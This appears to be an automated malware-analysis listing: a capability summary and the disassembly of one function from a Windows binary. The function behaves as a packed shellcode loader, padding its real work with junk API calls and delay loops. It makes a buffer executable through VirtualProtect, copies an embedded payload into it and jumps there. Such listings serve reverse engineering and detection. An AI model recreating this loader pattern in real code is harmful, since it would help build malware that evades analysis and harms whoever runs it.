Function at 0x40249a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Identify system language via api
Print debug messages
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x207138
jg 0x4024c2
inc edi
cmp edi, 0x4f672
jl 0x4024aa
cmp dword [0x42a17c], 0x93
jne 0x402558
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push str.fayacitebid
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push str.kehihisuyegumepurugolofaguwinowa
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], str.bad_exception
call fcn.00402831
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], vtable.std::bad_exception.0
call fcn.00402858
push esi
call fcn.00402cd1
push esi
call fcn.00402e1b
push esi
call fcn.00402cd1
add esp, 0xc
call fcn.00402cf3
mov eax, dword [0x422108]
add dword [0x42a17c], 0x1134b
push str.kernel32.dll
mov dword [0x4305a8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push eax
mov dword [0x429c0c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x42a17c]
mov dword [0x429c00], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x42a17c]
mov dword [0x429c08], eax
push eax
call dword [0x429c00]
mov edi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x4025b7
cmp dword [0x42a17c], esi
jbe 0x402639
mov eax, dword [0x4305a8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x429c08]
mov byte [ecx + edi], al
cmp dword [0x42a17c], 0x490
jne 0x402630
push str.dahuxoyunenahoturagahijuyawoc_kemitip_wunonefepunokutogufugi_gaguxivogitivusinironekopusox_kozosa
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push str.giyakukikerapusiviwumawep
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.zicipijahakujoxilikawukavuwi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc edi
cmp edi, dword [0x42a17c]
jb 0x4025ce
xor edi, edi
mov eax, dword [0x42a17c]
add eax, edi
cmp eax, 0x8d
jne 0x40265d
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
push esi
push str.kizilela
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
inc edi
cmp edi, 0x38681
jl 0x40263b
mov eax, dword [0x42a17c]
mov ecx, dword [0x429c08]
shr eax, 3
cmp eax, esi
jbe 0x4026a2
mov edi, ecx
mov ebx, eax
cmp dword [0x42a17c], 0x959
jne 0x402697
push esi
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
call fcn.00401029
add edi, 8
dec ebx
jne 0x40267c
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x4026c3
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x3d3a
mov eax, dword [ebp - 4]
add dword [0x429c08], eax
inc edi
cmp edi, 0x674db
jl 0x4026a4
push 0x7b
pop edi
cmp dword [0x42a17c], 0x86
jne 0x402704
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push str.retofizuhituresapacikad
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
dec edi
jne 0x4026cf
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x429c08]
pop edi
pop esi
pop ebx
leave
ret